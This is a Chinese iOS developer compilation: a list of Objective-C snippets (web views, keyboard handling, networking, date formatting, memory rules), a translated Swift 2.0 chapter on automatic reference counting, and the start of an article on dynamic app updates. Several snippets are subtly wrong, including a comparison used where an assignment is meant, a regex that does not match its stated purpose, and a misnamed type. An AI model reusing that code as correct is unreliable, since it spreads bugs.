NSURL *url = [NSURL fileURLWithPath:pdfPath];
NSURLRequest *request = [NSURLRequest requestWithURL:url cachePolicy:(NSURLRequestUseProtocolCachePolicy) timeoutInterval:5];
[webView loadRequest:request];

UIWebView和html的简单交互

myWebView = [[UIWebView alloc]initWithFrame:self.view.bounds];
[myWebView loadRequest:[NSURLRequest requestWithURL:[NSURL URLWithString:@"http://www.baidu.com"]]];
NSError *error;
NSString *errorString = [NSString stringWithFormat:@"<html><center><font size=+5 color='red'>AnError Occurred;<br>%@</font></center></html>",error];
[myWebView loadHTMLString:errorString baseURL:nil];

//页面跳转了以后，停止载入
-(void)viewWillDisappear:(BOOL)animated {
    if (myWebView.isLoading) {
        [myWebView stopLoading];
    }
    myWebView.delegate = nil;
    [UIApplication sharedApplication].networkActivityIndicatorVisible = NO;
}

汉字转码

NSString *oriString = @"\u67aa\u738b";
NSString *escapedString = [oriString stringByReplacingPercentEscapesUsingEncoding:NSUTF8StringEncoding];

处理键盘通知

先注册通知，然后实现具体当键盘弹出来要做什么，键盘收起来要做什么
- (void)registerForKeyboardNotifications {
    keyboardShown = NO;//标记当前键盘是没有显示的
    [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(keyboardWasShown:) name:UIKeyboardWillShowNotification object:nil];
    [[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(keyboardWasHidden:) name:UIKeyboardDidHideNotification object:nil];
}
//键盘显示要做什么
- (void)keyboardWasShown:(NSNotification *)notification {
    if (keyboardShown) {
        return;
    }
    NSDictionary *info = [notification userInfo];
    
    NSValue *aValue = [info objectForKey:UIKeyboardFrameBeginUserInfoKey];
    CGSize keyboardSize = [aValue CGRectValue].size;
    CGRect viewFrame = scrollView.frame;
    viewFrame.size.height = keyboardSize.height;
    
    CGRect textFieldRect = activeField.frame;
    [scrollView scrollRectToVisible:textFieldRect animated:YES];
    keyboardShown = YES;
}

- (void)keyboardWasHidden:(NSNotification *)notification {
    NSDictionary *info = [notification userInfo];
    NSValue *aValue = [info objectForKey:UIKeyboardFrameEndUserInfoKey];
    CGSize keyboardSize = [aValue CGRectValue].size;
    
    CGRect viewFrame = scrollView.frame;
    viewFrame.size.height += keyboardSize.height;
    scrollView.frame = viewFrame;
    
    keyboardShown = NO;
}

点击键盘的next按钮，在不同的textField之间换行

- (BOOL)textFieldShouldReturn:(UITextField *)textField {
    
    if ([textField returnKeyType] != UIReturnKeyDone) {
        NSInteger nextTag = [textField tag] + 1;
        UIView *nextTextField = [self.tableView viewWithTag:nextTag];
        [nextTextField becomeFirstResponder];
    }else {
        [textField resignFirstResponder];
    }
    
    return YES;
}

设置日期格式

dateFormatter = [[NSDateFormatter alloc]init];
dateFormatter.locale = [NSLocale currentLocale];
dateFormatter.calendar = [NSCalendar autoupdatingCurrentCalendar];
dateFormatter.timeZone = [NSTimeZone defaultTimeZone];
dateFormatter.dateStyle = NSDateFormatterShortStyle;
NSLog(@"%@",[dateFormatter stringFromDate:[NSDate date]]);

加载大量图片的时候，可以使用

NSString *imagePath = [[NSBundle mainBundle] pathForResource:@"icon" ofType:@"png"];
UIImage *myImage = [UIImage imageWithContentsOfFile:imagePath];

有时候在iPhone游戏中，既要播放背景音乐，同时又要播放比如枪的开火音效。

NSString *musicFilePath = [[NSBundle mainBundle] pathForResource:@"xx" ofType:@"wav"];
NSURL *musicURL = [NSURL fileURLWithPath:musicFilePath];
AVAudioPlayer *musicPlayer = [[AVAudioPlayer alloc]initWithContentsOfURL:musicURL error:nil];
[musicPlayer prepareToPlay];
musicPlayer.volume = 1;
musicPlayer.numberOfLoops = -1;//-1表示一直循环

从通讯录中读取电话号码，去除号码之间的—

- (void)findNumber {
    NSString *originalString = @"(123)123123abc";
    NSMutableString *strippedString = [NSMutableString stringWithCapacity:originalString.length];
    NSScanner *scanner = [NSScanner scannerWithString:originalString];
    NSCharacterSet *numbers = [NSCharacterSet characterSetWithCharactersInString:@"0123456789"];
    
    while ([scanner isAtEnd] == NO) {
        NSString *buffer;
        if ([scanner scanCharactersFromSet:numbers intoString:&buffer]) {
            [strippedString appendString:buffer];
        }else {
            scanner.scanLocation = [scanner scanLocation] + 1;
        }
    }
    NSLog(@"%@",strippedString);

}

正则判断：字符串只包含字母和数字


NSString *myString = @"Letter1234";
NSString *regex = @"[a-z][A-Z][0-9]";
NSPredicate *predicate = [NSPredicate predicateWithFormat:@"SELF MATCHES %@",regex];

    if ([predicate evaluateWithObject:myString]) {
        //implement
    }

设置UITableView的滚动条颜色

self.tableView.indicatorStyle = UIScrollViewIndicatorStyleWhite;

网络编程
开发web等网络应用程序的时候，需要确认网络环境，连接情况等信息。如果没有处理它们，是不会通过apple的审查的。
系统自带的网络检查是原生的，AFNetworking也为我们添加了相关检测机制，所以这个直接在介绍AFNetworking的时候详解吧。

使用NSURLConnection下载数据

1. 创建对象
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://www.baidu.com"]];
[NSURLConnection connectionWithRequest:request delegate:self];

2. NSURLConnection delegate 委托方法
- (void)connection:(NSURLConnection *)connection didReceiveResponse:(NSURLResponse *)response {

}

- (void)connection:(NSURLConnection *)connection didReceiveData:(NSData *)data {
    
}

- (void)connection:(NSURLConnection *)connection didFailWithError:(NSError *)error {
    
}

- (void)connectionDidFinishLoading:(NSURLConnection *)connection {
    
}

3. 实现委托方法
- (void)connection:(NSURLConnection *)connection didReceiveResponse:(NSURLResponse *)response {
    self.receiveData.length = 0;//先清空数据
}

- (void)connection:(NSURLConnection *)connection didReceiveData:(NSData *)data {
    [self.receiveData appendData:data];
}

- (void)connection:(NSURLConnection *)connection didFailWithError:(NSError *)error {
    //错误处理
}

- (void)connectionDidFinishLoading:(NSURLConnection *)connection {
    [UIApplication sharedApplication].networkActivityIndicatorVisible = NO;
    NSString *returnString = [[NSString alloc]initWithData:self.receiveData encoding:NSUTF8StringEncoding];
    firstTimeDownloaded = YES;
}

iOS的动画以及自定义图形，开个专栏总结。

隐藏状态栏

[UIApplication sharedApplication].statusBarHidden = YES;

.m文件与.mm文件的区别

.m文件是objective-c文件
.mm文件相当于c++或者c文件

Safari其实没有把内存的缓存写到存储卡上

读取一般性文件

- (void)readFromTXT {
    NSString *tmp;
    NSArray *lines;//将文件转化为一行一行的
    lines = [[NSString stringWithContentsOfFile:@"testFileReadLines.txt"] componentsSeparatedByString:@"\n"];
    
    NSEnumerator *nse = [lines objectEnumerator];
    
    //读取<>里的内容
    while (tmp == [nse nextObject]) {
        NSString *stringBetweenBrackets = nil;
        NSScanner *scanner = [NSScanner scannerWithString:tmp];
        [scanner scanUpToString:@"<" intoString:nil];
        [scanner scanString:@"<" intoString:nil];
        [scanner scanUpToString:@">" intoString:&stringBetweenBrackets];
        NSLog(@"%@",[stringBetweenBrackets description]);
    }
}

隐藏UINavigationBar

 [self.navigationController setNavigationBarHidden:YES animated:YES];

调用电话，短信，邮件

[[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"mailto:apple@mac.com?Subject=hello"]];
sms://调用短信
tel://调用电话
itms://打开MobileStore.app

获取版本信息

UIDevice *myDevice = [UIDevice currentDevice];
NSString *systemVersion = myDevice.systemVersion;

UIWebView的使用

<UIWebViewDelegate>

webView.delegate = self;

(BOOL)webView:(UIWebView *)webView shouldStartLoadWithRequest:(NSURLRequest *)request navigationType:(UIWebViewNavigationType)navigationType {
    NSURL *url = request.URL;
    NSString *urlStirng = url.absoluteString;
    NSLog(@"%@",urlStirng);
    return YES;
}

UIButton的title和image不能同时显示
UINavigationItem也是

不要再语言包里面设置空格

NSNotificationCenter带参数发送

MPMoviePlayerController *theMovie = [[MPMoviePlayerController alloc]initWithContentURL:[NSURL fileURLWithPath:moviePath]];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(myMovieFinishedCallback:) name:MPMoviePlayerPlaybackDidFinishNotification object:theMovie];
[theMovie play];

- (void)myMovieFinishedCallback:(NSNotification *)aNotification {
    MPMoviePlayerController *theMovie = [aNotification object];
    [[NSNotificationCenter defaultCenter] removeObserver:self name:MPMoviePlayerPlaybackDidFinishNotification object:theMovie];
}

延迟一段时间执行某个函数

[self performSelector:@selector(dismissModal) withObject:self afterDelay:1.0];

用NSDateFormatter调整时间格式代码

NSDateFormatter *dateFormatter = [[NSDateFormatter alloc]init];
dateFormatter.dateFormat = @"yyyy-MM-dd HH:mm:ss";
NSString *currentDateStr = [dateFormatter stringFromDate:[NSDate date]];

UIView设置成圆角的方法

mainView.layer.cornerRadius = 6;
mainView.layer.masksToBounds = YES;

Objective-C 内存管理


	一个对象可以有一个或多个拥有者


	当它一个拥有者都没有的时候，它就会被回收


	如果想保留一个对象不被回收，你就必须成为它的拥有者




关键字


	alloc
为对象分配内存，计数设为1，并返回此对象。


	copy
复制一个对象，此对象计数为1，返回此对象。你将成为此克隆对象的拥有者。


	retain
对象计数+1，并成为次对象的拥有者。


	release
对象计数-1，并丢掉此对象。


	autorelease
在未来的某一个时刻，对象计数-1。并在未来的某个时间放弃此对象。




原则


	一个代码块内要确保copy，alloc 和 retain 的使用数量与 release 和 autorelease 的数量相等。


	在使用以 alloc 或 new 开头或包含 copy 的方法，或 retain 一个对象时，你将会编程它的拥有者。


	实现 dealloc 方法，这是系统当 retain -> 0 的时候，自动调用的。手动调用会引起 retain count 计数错误（多一次的 release）。




iPhone 更改键盘右下角按键的 type

SearchBar *mySearchBar = [[UISearchBar alloc]init];
mySearchBar.frame = CGRectMake(0, 0, self.view.bounds.size.width, 44);
mySearchBar.placeholder = @"placeholderString";
mySearchBar.delegate = self;
[self.view addSubview:mySearchBar];
UITextField *searchField = [[mySearchBar subviews] lastObject];
searchField.returnKeyType = UIReturnKeyDone;

（更新完成）

总结

不积跬步无以至千里，不积小流无以成江海。

（随时更新）


 《The Swift Programming Language》2.0版之自动引用计数

作者：Channe

来源： 《The Swift Programming Language》2.0版之自动引用计数



                    

  Swift 1.0文档翻译：TimothyYe

  Swift 1.0文档校对：Hawstein

  Swift 2.0文档校对及翻译润色：Channe





  PS：之前1.0版中文版看不懂地方在对比英文版后就懂了，还是之前翻译的不够准确啊。这次参与Swift 2.0文档ARC章节的校对翻译，顺便润色一下部分翻译，以便大家更好的理解原文的意思。




# 自动引用计数


本页包含内容：



	自动引用计数的工作机制

	自动引用计数实践

	类实例之间的循环强引用

	解决实例之间的循环强引用

	闭包引起的循环强引用

	解决闭包引起的循环强引用



Swift 使用自动引用计数（ARC）机制来跟踪和管理你的应用程序的内存。通常情况下，Swift 的内存管理机制会一直起着作用，你无须自己来考虑内存的管理。ARC 会在类的实例不再被使用时，自动释放其占用的内存。


然而，在少数情况下，ARC 为了能帮助你管理内存，需要更多的关于你的代码之间关系的信息。本章描述了这些情况，并且为你示范怎样启用 ARC 来管理你的应用程序的内存。



  注意:

  引用计数仅仅应用于类的实例。结构体和枚举类型是值类型，不是引用类型，也不是通过引用的方式存储和传递。







自动引用计数的工作机制


当你每次创建一个类的新的实例的时候，ARC 会分配一大块内存用来储存实例的信息。内存中会包含实例的类型信息，以及这个实例所有相关属性的值。


此外，当实例不再被使用时，ARC 释放实例所占用的内存，并让释放的内存能挪作他用。这确保了不再被使用的实例，不会一直占用内存空间。


然而，当 ARC 收回和释放了正在被使用中的实例，该实例的属性和方法将不能再被访问和调用。实际上，如果你试图访问这个实例，你的应用程序很可能会崩溃。


为了确保使用中的实例不会被销毁，ARC 会跟踪和计算每一个实例正在被多少属性，常量和变量所引用。哪怕实例的引用数为1，ARC都不会销毁这个实例。


为了使上述成为可能，无论你将实例赋值给属性、常量或变量，它们都会创建此实例的强引用。之所以称之为“强”引用，是因为它会将实例牢牢的保持住，只要强引用还在，实例是不允许被销毁的。





自动引用计数实践


下面的例子展示了自动引用计数的工作机制。例子以一个简单的Person类开始，并定义了一个叫name的常量属性：


swiftclass Person {
    let name: String
    init(name: String) {
        self.name = name
        print("\(name) is being initialized")
    }
    deinit {
        print("\(name) is being deinitialized")
    }
}



Person类有一个构造函数，此构造函数为实例的name属性赋值，并打印一条消息以表明初始化过程生效。Person类也拥有一个析构函数，这个析构函数会在实例被销毁时打印一条消息。


接下来的代码片段定义了三个类型为Person?的变量，用来按照代码片段中的顺序，为新的Person实例建立多个引用。由于这些变量是被定义为可选类型（Person?，而不是Person），它们的值会被自动初始化为nil，目前还不会引用到Person类的实例。


swiftvar reference1: Person?
var reference2: Person?
var reference3: Person?



现在你可以创建Person类的新实例，并且将它赋值给三个变量中的一个：


swiftreference1 = Person(name: "John Appleseed")
// prints "John Appleseed is being initialized”



应当注意到当你调用Person类的构造函数的时候，"John Appleseed is being initialized”会被打印出来。由此可以确定构造函数被执行。


由于Person类的新实例被赋值给了reference1变量，所以reference1到Person类的新实例之间建立了一个强引用。正是因为这一个强引用，ARC 会保证Person实例被保持在内存中不被销毁。


如果你将同一个Person实例也赋值给其他两个变量，该实例又会多出两个强引用：


swiftreference2 = reference1
reference3 = reference1



现在这一个Person实例已经有三个强引用了。


如果你通过给其中两个变量赋值nil的方式断开两个强引用（包括最先的那个强引用），只留下一个强引用，Person实例不会被销毁：


swiftreference1 = nil
reference2 = nil



在你清楚地表明不再使用这个Person实例时，即第三个也就是最后一个强引用被断开时，ARC 会销毁它。


swiftreference3 = nil
// prints "John Appleseed is being deinitialized"






类实例之间的循环强引用


在上面的例子中，ARC 会跟踪你所新创建的Person实例的引用数量，并且会在Person实例不再被需要时销毁它。


然而，我们可能会写出一个类实例的强引用数永远不能变成0的代码。如果两个类实例互相持有对方的强引用，因而每个实例都让对方一直存在，就是这种情况。这就是所谓的循环强引用。


你可以通过定义类之间的关系为弱引用或无主引用，以替代强引用，从而解决循环强引用的问题。具体的过程在解决类实例之间的循环强引用中有描述。不管怎样，在你学习怎样解决循环强引用之前，很有必要了解一下它是怎样产生的。


下面展示了一个不经意产生循环强引用的例子。例子定义了两个类：Person和Apartment，用来建模公寓和它其中的居民:


swiftclass Person {
    let name: String
    init(name: String) { self.name = name }
    var apartment: Apartment?
    deinit { print("\(name) is being deinitialized") }
}



swiftclass Apartment {
    let number: Int
    init(number: Int) { self.number = number }
    var tenant: Person?
    deinit { print("Apartment #\(number) is being deinitialized") }
}



每一个Person实例有一个类型为String，名字为name的属性，并有一个可选的初始化为nil的apartment属性。apartment属性是可选的，因为一个人并不总是拥有公寓。


类似的，每个Apartment实例有一个叫number，类型为Int的属性，并有一个可选的初始化为nil的tenant属性。tenant属性是可选的，因为一栋公寓并不总是有居民。


这两个类都定义了析构函数，用以在类实例被析构的时候输出信息。这让你能够知晓Person和Apartment的实例是否像预期的那样被销毁。


接下来的代码片段定义了两个可选类型的变量john和number73，并分别被设定为下面的Apartment和Person的实例。这两个变量都被初始化为nil，这正是可选的优点：


swiftvar john: Person?
var number73: Apartment?



现在你可以创建特定的Person和Apartment实例并将赋值给john和number73变量：


swiftjohn = Person(name: "John Appleseed")
number73 = Apartment(number: 73)



在两个实例被创建和赋值后，下图表现了强引用的关系。变量john现在有一个指向Person实例的强引用，而变量number73有一个指向Apartment实例的强引用：





现在你能够将这两个实例关联在一起，这样人就能有公寓住了，而公寓也有了房客。注意感叹号是用来展开和访问可选变量john和number73中的实例，这样实例的属性才能被赋值：


swiftjohn!.apartment = number73
number73!.tenant = john



在将两个实例联系在一起之后，强引用的关系如图所示：





不幸的是，这两个实例关联后会产生一个循环强引用。Person实例现在有了一个指向Apartment实例的强引用，而Apartment实例也有了一个指向Person实例的强引用。因此，当你断开john和number73变量所持有的强引用时，引用计数并不会降为 0，实例也不会被 ARC 销毁：


swiftjohn = nil
number73 = nil



注意，当你把这两个变量设为nil时，没有任何一个析构函数被调用。循环强引用会一直阻止Person和Apartment类实例的销毁，这就在你的应用程序中造成了内存泄漏。


在你将john和number73赋值为nil后，强引用关系如下图：





Person和Apartment实例之间的强引用关系保留了下来并且不会被断开。





解决实例之间的循环强引用


Swift 提供了两种办法用来解决你在使用类的属性时所遇到的循环强引用问题：弱引用（weak reference）和无主引用（unowned reference）。


弱引用和无主引用允许循环引用中的一个实例引用另外一个实例而不保持强引用。这样实例能够互相引用而不产生循环强引用。


对于生命周期中会变为nil的实例使用弱引用。相反地，对于初始化赋值后再也不会被赋值为nil的实例，使用无主引用。


弱引用


弱引用不会对其引用的实例保持强引用，因而不会阻止 ARC 销毁被引用的实例。这个特性阻止了引用变为循环强引用。声明属性或者变量时，在前面加上weak关键字表明这是一个弱引用。


在实例的生命周期中，如果某些时候引用没有值，那么弱引用可以避免循环强引用。如果引用总是有值，则可以使用无主引用，在无主引用中有描述。在上面Apartment的例子中，一个公寓的生命周期中，有时是没有“居民”的，因此适合使用弱引用来解决循环强引用。



  注意:

  弱引用必须被声明为变量，表明其值能在运行时被修改。弱引用不能被声明为常量。




因为弱引用可以没有值，你必须将每一个弱引用声明为可选类型。在 Swift 中，推荐使用可选类型描述可能没有值的类型。


因为弱引用不会保持所引用的实例，即使引用存在，实例也有可能被销毁。因此，ARC 会在引用的实例被销毁后自动将其赋值为nil。你可以像其他可选值一样，检查弱引用的值是否存在，你将永远不会访问已销毁的实例的引用。


下面的例子跟上面Person和Apartment的例子一致，但是有一个重要的区别。这一次，Apartment的tenant属性被声明为弱引用：


swiftclass Person {
    let name: String
    init(name: String) { self.name = name }
    var apartment: Apartment?
    deinit { print("\(name) is being deinitialized") }
}



swiftclass Apartment {
    let number: Int
    init(number: Int) { self.number = number }
    weak var tenant: Person?
    deinit { print("Apartment #\(number) is being deinitialized") }
}



然后跟之前一样，建立两个变量（john和number73）之间的强引用，并关联两个实例：


swiftvar john: Person?
var number73: Apartment?

john = Person(name: "John Appleseed")
number73 = Apartment(number: 73)

john!.apartment = number73
number73!.tenant = john



现在，两个关联在一起的实例的引用关系如下图所示：





Person实例依然保持对Apartment实例的强引用，但是Apartment实例只是对Person实例的弱引用。这意味着当你断开john变量所保持的强引用时，再也没有指向Person实例的强引用了：





由于再也没有指向Person实例的强引用，该实例会被销毁：


swiftjohn = nil
// prints "John Appleseed is being deinitialized"



唯一剩下的指向Apartment实例的强引用来自于变量number73。如果你断开这个强引用，再也没有指向Apartment实例的强引用了：





由于再也没有指向Apartment实例的强引用，该实例也会被销毁：


swiftnumber73 = nil
// prints "Apartment #73 is being deinitialized"



上面的两段代码展示了变量john和number73在被赋值为nil后，Person实例和Apartment实例的析构函数都打印出“销毁”的信息。这证明了引用循环被打破了。





无主引用


和弱引用类似，无主引用不会牢牢保持住引用的实例。和弱引用不同的是，无主引用是永远有值的。因此，无主引用总是被定义为非可选类型（non-optional type）。你可以在声明属性或者变量时，在前面加上关键字unowned表示这是一个无主引用。


由于无主引用是非可选类型，你不需要在使用它的时候将它展开。无主引用总是可以被直接访问。不过 ARC 无法在实例被销毁后将无主引用设为nil，因为非可选类型的变量不允许被赋值为nil。



  注意:

  如果你试图在实例被销毁后，访问该实例的无主引用，会触发运行时错误。使用无主引用，你必须确保引用始终指向一个未销毁的实例。

  还需要注意的是如果你试图访问实例已经被销毁的无主引用，Swift 确保程序会直接崩溃，而不会发生无法预期的行为。所以你应当避免这样的事情发生。




下面的例子定义了两个类，Customer和CreditCard，模拟了银行客户和客户的信用卡。这两个类中，每一个都将另外一个类的实例作为自身的属性。这种关系可能会造成循环强引用。


Customer和CreditCard之间的关系与前面弱引用例子中Apartment和Person的关系略微不同。在这个数据模型中，一个客户可能有或者没有信用卡，但是一张信用卡总是关联着一个客户。为了表示这种关系，Customer类有一个可选类型的card属性，但是CreditCard类有一个非可选类型的customer属性。


此外，只能通过将一个number值和customer实例传递给CreditCard构造函数的方式来创建CreditCard实例。这样可以确保当创建CreditCard实例时总是有一个customer实例与之关联。


由于信用卡总是关联着一个客户，因此将customer属性定义为无主引用，用以避免循环强引用：


swiftclass Customer {
    let name: String
    var card: CreditCard?
    init(name: String) {
        self.name = name
    }
    deinit { print("\(name) is being deinitialized") }
}



swiftclass CreditCard {
    let number: UInt64
    unowned let customer: Customer
    init(number: UInt64, customer: Customer) {
        self.number = number
        self.customer = customer
    }
    deinit { print("Card #\(number) is being deinitialized") }
}




  注意:
CreditCard类的number属性被定义为UInt64类型而不是Int类型，以确保number属性的存储量在32位和64位系统上都能足够容纳16位的卡号。




下面的代码片段定义了一个叫john的可选类型Customer变量，用来保存某个特定客户的引用。由于是可选类型，所以变量被初始化为nil。


swiftvar john: Customer?



现在你可以创建Customer类的实例，用它初始化CreditCard实例，并将新创建的CreditCard实例赋值为客户的card属性。


swiftjohn = Customer(name: "John Appleseed")
john!.card = CreditCard(number: 1234_5678_9012_3456, customer: john!)



在你关联两个实例后，它们的引用关系如下图所示：





Customer实例持有对CreditCard实例的强引用，而CreditCard实例持有对Customer实例的无主引用。


由于customer的无主引用，当你断开john变量持有的强引用时，再也没有指向Customer实例的强引用了：





由于再也没有指向Customer实例的强引用，该实例被销毁了。其后，再也没有指向CreditCard实例的强引用，该实例也随之被销毁了：


swiftjohn = nil
// prints "John Appleseed is being deinitialized"
// prints "Card #1234567890123456 is being deinitialized"



最后的代码展示了在john变量被设为nil后Customer实例和CreditCard实例的构造函数都打印出了“销毁”的信息。


无主引用以及隐式解析可选属性


上面弱引用和无主引用的例子涵盖了两种常用的需要打破循环强引用的场景。


Person和Apartment的例子展示了两个属性的值都允许为nil，并会潜在的产生循环强引用。这种场景最适合用弱引用来解决。


Customer和CreditCard的例子展示了一个属性的值允许为nil，而另一个属性的值不允许为nil，这也可能会产生循环强引用。这种场景最适合通过无主引用来解决。


然而，存在着第三种场景，在这种场景中，两个属性都必须有值，并且初始化完成后永远不会为nil。在这种场景中，需要一个类使用无主属性，而另外一个类使用隐式解析可选属性。


这使两个属性在初始化完成后能被直接访问（不需要可选展开），同时避免了循环引用。这一节将为你展示如何建立这种关系。


下面的例子定义了两个类，Country和City，每个类将另外一个类的实例保存为属性。在这个模型中，每个国家必须有首都，每个城市必须属于一个国家。为了实现这种关系，Country类拥有一个capitalCity属性，而City类有一个country属性：


swiftclass Country {
    let name: String
    var capitalCity: City!
    init(name: String, capitalName: String) {
        self.name = name
        self.capitalCity = City(name: capitalName, country: self)
    }
}



swiftclass City {
    let name: String
    unowned let country: Country
    init(name: String, country: Country) {
        self.name = name
        self.country = country
    }
}



为了建立两个类的依赖关系，City的构造函数有一个Country实例的参数，并且将实例保存为country属性。


Country的构造函数调用了City的构造函数。然而，只有Country的实例完全初始化完后，Country的构造函数才能把self传给City的构造函数。（在两段式构造过程中有具体描述）


为了满足这种需求，通过在类型结尾处加上感叹号（City!）的方式，将Country的capitalCity属性声明为隐式解析可选类型的属性。这表示像其他可选类型一样，capitalCity属性的默认值为nil，但是不需要展开它的值就能访问它。（在隐式解析可选类型中有描述）


由于capitalCity默认值为nil，一旦Country的实例在构造函数中给name属性赋值后，整个初始化过程就完成了。这代表一旦name属性被赋值后，Country的构造函数就能引用并传递隐式的self。Country的构造函数在赋值capitalCity时，就能将self作为参数传递给City的构造函数。


以上的意义在于你可以通过一条语句同时创建Country和City的实例，而不产生循环强引用，并且capitalCity的属性能被直接访问，而不需要通过感叹号来展开它的可选值：


swiftvar country = Country(name: "Canada", capitalName: "Ottawa")
print("\(country.name)'s capital city is called \(country.capitalCity.name)")
// prints "Canada's capital city is called Ottawa"



在上面的例子中，使用隐式解析可选值的意义在于满足了两个类构造函数的需求。capitalCity属性在初始化完成后，能像非可选值一样使用和存取同时还避免了循环强引用。





闭包引起的循环强引用


前面我们看到了循环强引用是在两个类实例属性互相保持对方的强引用时产生的，还知道了如何用弱引用和无主引用来打破这些循环强引用。


循环强引用还会发生在当你将一个闭包赋值给类实例的某个属性，并且这个闭包体中又使用了这个类实例。这个闭包体中可能访问了实例的某个属性，例如self.someProperty，或者闭包中调用了实例的某个方法，例如self.someMethod。这两种情况都导致了闭包 “捕获" self，从而产生了循环强引用。


循环强引用的产生，是因为闭包和类相似，都是引用类型。当你把一个闭包赋值给某个属性时，你也把一个引用赋值给了这个闭包。实质上，这跟之前的问题是一样的－两个强引用让彼此一直有效。但是，和两个类实例不同，这次一个是类实例，另一个是闭包。


Swift 提供了一种优雅的方法来解决这个问题，称之为闭包捕获列表（closuer capture list）。同样的，在学习如何用闭包捕获列表破坏循环强引用之前，先来了解一下这里的循环强引用是如何产生的，这对我们很有帮助。


下面的例子为你展示了当一个闭包引用了self后是如何产生一个循环强引用的。例子中定义了一个叫HTMLElement的类，用一种简单的模型表示 HTML 中的一个单独的元素：


swiftclass HTMLElement {

    let name: String
    let text: String?

    lazy var asHTML: Void -> String = {
        if let text = self.text {
            return "<\(self.name)>\(text)</\(self.name)>"
        } else {
            return "<\(self.name) />"
        }
    }

    init(name: String, text: String? = nil) {
        self.name = name
        self.text = text
    }

    deinit {
        print("\(name) is being deinitialized")
    }

}



HTMLElement类定义了一个name属性来表示这个元素的名称，例如代表段落的"p"，或者代表换行的"br"。HTMLElement还定义了一个可选属性text，用来设置和展现 HTML 元素的文本。


除了上面的两个属性，HTMLElement还定义了一个lazy属性asHTML。这个属性引用了一个将name和text组合成 HTML 字符串片段的闭包。该属性是Void -> String类型，或者可以理解为“一个没有参数，返回String的函数”。


默认情况下，闭包赋值给了asHTML属性，这个闭包返回一个代表 HTML 标签的字符串。如果text值存在，该标签就包含可选值text；如果text不存在，该标签就不包含文本。对于段落元素，根据text是"some text"还是nil，闭包会返回"<p>some text</p>"或者"<p />"。


可以像实例方法那样去命名、使用asHTML属性。然而，由于asHTML是闭包而不是实例方法，如果你想改变特定元素的 HTML 处理的话，可以用自定义的闭包来取代默认值。



  注意:
asHTML声明为lazy属性，因为只有当元素确实需要处理为HTML输出的字符串时，才需要使用asHTML。也就是说，在默认的闭包中可以使用self，因为只有当初始化完成以及self确实存在后，才能访问lazy属性。




HTMLElement类只提供一个构造函数，通过name和text（如果有的话）参数来初始化一个元素。该类也定义了一个析构函数，当HTMLElement实例被销毁时，打印一条消息。


下面的代码展示了如何用HTMLElement类创建实例并打印消息。


swiftvar paragraph: HTMLElement? = HTMLElement(name: "p", text: "hello, world")
print(paragraph!.asHTML())
// prints"hello, world"




  注意:

  上面的paragraph变量定义为可选HTMLElement，因此我们可以赋值nil给它来演示循环强引用。




不幸的是，上面写的HTMLElement类产生了类实例和asHTML默认值的闭包之间的循环强引用。循环强引用如下图所示：





实例的asHTML属性持有闭包的强引用。但是，闭包在其闭包体内使用了self（引用了self.name和self.text），因此闭包捕获了self，这意味着闭包又反过来持有了HTMLElement实例的强引用。这样两个对象就产生了循环强引用。（更多关于闭包捕获值的信息，请参考值捕获）。



  注意:

  虽然闭包多次使用了self，它只捕获HTMLElement实例的一个强引用。




如果设置paragraph变量为nil，打破它持有的HTMLElement实例的强引用，HTMLElement实例和它的闭包都不会被销毁，也是因为循环强引用：


swiftparagraph = nil



注意HTMLElementdeinitializer中的消息并没有被打印，证明了HTMLElement实例并没有被销毁。





解决闭包引起的循环强引用


在定义闭包时同时定义捕获列表作为闭包的一部分，通过这种方式可以解决闭包和类实例之间的循环强引用。捕获列表定义了闭包体内捕获一个或者多个引用类型的规则。跟解决两个类实例间的循环强引用一样，声明每个捕获的引用为弱引用或无主引用，而不是强引用。应当根据代码关系来决定使用弱引用还是无主引用。



  注意:

  Swift 有如下要求：只要在闭包内使用self的成员，就要用self.someProperty或者self.someMethod（而不只是someProperty或someMethod）。这提醒你可能会一不小心就捕获了self。




定义捕获列表


捕获列表中的每一项都由一对元素组成，一个元素是weak或unowned关键字，另一个元素是类实例的引用（如self）或初始化过的变量（如delegate = self.delegate!）。这些项在方括号中用逗号分开。


如果闭包有参数列表和返回类型，把捕获列表放在它们前面：


swiftlazy var someClosure: (Int, String) -> String = {
    [unowned self, weak delegate = self.delegate!] (index: Int, stringToProcess: String) -> String in
    // closure body goes here
}



如果闭包没有指明参数列表或者返回类型，即它们会通过上下文推断，那么可以把捕获列表和关键字in放在闭包最开始的地方：


swiftlazy var someClosure: Void -> String = {
    [unowned self, weak delegate = self.delegate!] in
    // closure body goes here
}



弱引用和无主引用


在闭包和捕获的实例总是互相引用时并且总是同时销毁时，将闭包内的捕获定义为无主引用。


相反的，在被捕获的引用可能会变为nil时，将闭包内的捕获定义为弱引用。弱引用总是可选类型，并且当引用的实例被销毁后，弱引用的值会自动置为nil。这使我们可以在闭包体内检查它们是否存在。



  注意:

  如果被捕获的引用绝对不会变为nil，应该用无主引用，而不是弱引用。




前面的HTMLElement例子中，无主引用是正确的解决循环强引用的方法。这样编写HTMLElement类来避免循环强引用：


swiftclass HTMLElement {

    let name: String
    let text: String?

    lazy var asHTML: Void -> String = {
        [unowned self] in
        if let text = self.text {
            return "<\(self.name)>\(text)</\(self.name)>"
        } else {
            return "<\(self.name) />"
        }
    }

    init(name: String, text: String? = nil) {
        self.name = name
        self.text = text
    }

    deinit {
        print("\(name) is being deinitialized")
    }

}



上面的HTMLElement实现和之前的实现一致，除了在asHTML闭包中多了一个捕获列表。这里，捕获列表是[unowned self]，表示“用无主引用而不是强引用来捕获self”。


和之前一样，我们可以创建并打印HTMLElement实例：


swiftvar paragraph: HTMLElement? = HTMLElement(name: "p", text: "hello, world")
print(paragraph!.asHTML())
// prints "<p>hello, world</p>"



使用捕获列表后引用关系如下图所示：





这一次，闭包以无主引用的形式捕获self，并不会持有HTMLElement实例的强引用。如果将paragraph赋值为nil，HTMLElement实例将会被销毁，并能看到它的析构函数打印出的消息。


swiftparagraph = nil
// prints "p is being deinitialized"
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App 动态更新


	1、控件到 window 的层级关系:


	2、分析控件的详细路径:


	3、动态修改控件:


	4、工具篇:




视图的层级关系

每个 App , 至少有一个根 Window , 通常情况下我们只用一个 。window 有一个 rootViewController , 这就是我们所谓的根视图 , 我们所有的控制器都是放在 rootViewController 里面的。



这个是最简单的层级关系

如果在项目里有了这么一个路径 , 我们可以做什么呢？


